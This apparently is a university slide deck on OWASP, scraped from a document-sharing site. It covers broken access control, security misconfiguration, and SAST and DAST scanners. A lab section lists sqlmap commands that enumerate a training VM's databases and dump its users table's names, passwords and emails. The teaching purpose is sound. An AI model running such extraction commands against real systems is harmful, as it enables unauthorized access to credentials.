Information Security - Standards and Best Practices Owasp

Information Security –
Standards and Best

Practices
Presented by:
OWASP
Supervisor & Professor:
Imad Boustany
Jean-Michel Kaoukabani
INCI – M2: Information Security OWASP Page 1

Who is the OWASP foundation?
The Open Web Application Security Project® (OWASP)

is a nonprofit foundation that works to improve the
security of software.

TOP 10 VULNERABILITES

Broken Access Control
What is it?
Attackers access unauthorized functionalities in

order access other users accounts, view sensitive
files, etc…

Threat Agents / Attack Vectors
Exploitation of access control is a core skill of

attackers. SAST and DAST tools can detect the
absence of access control but cannot verify if it is
functional when it is present.

Security Weakness
Access control weaknesses are common due to the

lack of automated detection, and lack of effective
functional testing by application developers.

Impacts
The technical impact is attackers acting as users or

administrators, or users using privileged functions.

Common Access Control Vulnerabilities
• Modifying the URL.

• Elevation of privilege.
• Metadata manipulation.
• CORS misconfiguration allows unauthorized API
access.
• Force browsing to authenticated pages as an
unauthenticated user or to privileged pages as a
standard user.

How to prevent?
• With the exception of public resources, deny by

default.
• Implement access control mechanisms once and
re-use them throughout the application.
• Model access controls should enforce record
ownership.
• Log access control failures.
• Disable web server directory listing and ensure
file metadata are not present within web roots.

different types of access control
• Discretionary Access Control (DAC)

• Mandatory Access Control (MAC)
• Role Based Access Control (RBAC)
• Attribute Based Access Control (ABAC)

LAB: SQL Injection Using Vega OWASP_B_W_A






SQLMAP TOOL ON KALI LINUX:

• sqlmap -u "http://192.168.155.143/owaspbricks/content-2/index.php?user=harry" --dbs
• sqlmap -u "http://192.168.155.143/owaspbricks/content-2/index.php?user=harry" --dbms=mysql
--users
• sqlmap -u "http://192.168.155.143/owaspbricks/content-2/index.php?user=harry" -D bricks –tables
• sqlmap -u "http://192.168.155.143/owaspbricks/content-2/index.php?user=harry" -D bricks -T users
--columns
• sqlmap -u "http://192.168.155.143/owaspbricks/content-2/index.php?user=harry" -D bricks -T users
-C name,password,email --dump








SAST: Static Application Security Testing
Designed to analyze source code or compiled

versions of code to help find security flaws.

SAST: Static Application Security Testing / Strengths and Weakness
Strengths: Weakness:
• Scales well • Many types of security vulnerabilities are
• Output is good for developers. difficult to find automatically.
• High numbers of false positives.
• Many of these tools have difficulty analyzing
code that can’t be compiled.

SAST: Bandit tool

SAST: HuskyCI

DAST: Dynamic Application Security Testing
Web Application Vulnerability Scanners are

automated tools that scan web applications, to
look for security vulnerabilities such as Cross-site
scripting, SQL Injection and insecure server
configuration.

DAST: Vega

DAST: Burp Suite

DAST: Vega vs Burp Suite (From Benchmark)

Security Misconfiguration
What is it?
• Missing security hardening or incorrect

permissions on app/server.
• Unnecessary features/ports are available.
• Default accounts enabled.
• Error leakage.
• Updated security features are left disabled or
misconfigured.
• Insecure configuration in web app or server
frameworks.
• Lack of security headers.

How common is it?
• Quite common because it covers so many areas

of a system.
• Common due to lack of automated deployment
tooling.
• Exists across many systems and in many
different forms.

Directory Listing

Directory Listing

Directory Listing

Detailed errors

Detailed errors

SSL Labs Checking

SSL Labs Checking

SSL Labs Checking

Security Headers

Security Headers

How to fix it?
• Consistent process for server and app

hardening.
• Consider minimal server as starting point.
• Regular consideration of new vulnerabilities.
• Segmentation of systems to reduce risk.
• Automated and online server checks.

References
• https://www.youtube.com/watch?v=tmPxTqi2vSs&feature=youtu.be
• https://owasp.org/
• https://sourceforge.net/projects/owaspbwa/
• https://portswigger.net/
• https://Securityheaders.com
• https://.Ssllabs.com
• https://subgraph.com/vega/
• https://github.com/globocom/huskyCI
• https://pypi.org/project/bandit/

Information Security - Standards and Best Practices Owasp

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Information Security - Standards and Best Practices Owasp

Uploaded by

Copyright:

Available Formats

Information Security –

Standards and Best

INCI – M2: Information Security OWASP Page 1

The Open Web Application Security Project® (OWASP)

INCI – M2: Information Security OWASP Page 2

INCI – M2: Information Security OWASP Page 3

Attackers access unauthorized functionalities in

INCI – M2: Information Security OWASP Page 4

Exploitation of access control is a core skill of

INCI – M2: Information Security OWASP Page 5

Access control weaknesses are common due to the

INCI – M2: Information Security OWASP Page 6

The technical impact is attackers acting as users or

INCI – M2: Information Security OWASP Page 7

• Modifying the URL.

INCI – M2: Information Security OWASP Page 8

• With the exception of public resources, deny by

INCI – M2: Information Security OWASP Page 9

• Discretionary Access Control (DAC)

INCI – M2: Information Security OWASP Page 10

INCI – M2: Information Security OWASP Page 11

INCI – M2: Information Security OWASP Page 12

INCI – M2: Information Security OWASP Page 13

INCI – M2: Information Security OWASP Page 14

INCI – M2: Information Security OWASP Page 15

INCI – M2: Information Security OWASP Page 16

SQLMAP TOOL ON KALI LINUX:

INCI – M2: Information Security OWASP Page 17

INCI – M2: Information Security OWASP Page 18

INCI – M2: Information Security OWASP Page 19

INCI – M2: Information Security OWASP Page 20

INCI – M2: Information Security OWASP Page 21

INCI – M2: Information Security OWASP Page 22

INCI – M2: Information Security OWASP Page 23

INCI – M2: Information Security OWASP Page 24

Designed to analyze source code or compiled

INCI – M2: Information Security OWASP Page 25

INCI – M2: Information Security OWASP Page 26

INCI – M2: Information Security OWASP Page 27

INCI – M2: Information Security OWASP Page 28

Web Application Vulnerability Scanners are

INCI – M2: Information Security OWASP Page 29

INCI – M2: Information Security OWASP Page 30

INCI – M2: Information Security OWASP Page 31

INCI – M2: Information Security OWASP Page 32

• Missing security hardening or incorrect

INCI – M2: Information Security OWASP Page 33

• Quite common because it covers so many areas

INCI – M2: Information Security OWASP Page 34

INCI – M2: Information Security OWASP Page 35

INCI – M2: Information Security OWASP Page 36

INCI – M2: Information Security OWASP Page 37

INCI – M2: Information Security OWASP Page 38

INCI – M2: Information Security OWASP Page 39

INCI – M2: Information Security OWASP Page 40

INCI – M2: Information Security OWASP Page 41

INCI – M2: Information Security OWASP Page 42

INCI – M2: Information Security OWASP Page 43

INCI – M2: Information Security OWASP Page 44

• Consistent process for server and app

INCI – M2: Information Security OWASP Page 45

INCI – M2: Information Security OWASP Page 46

You might also like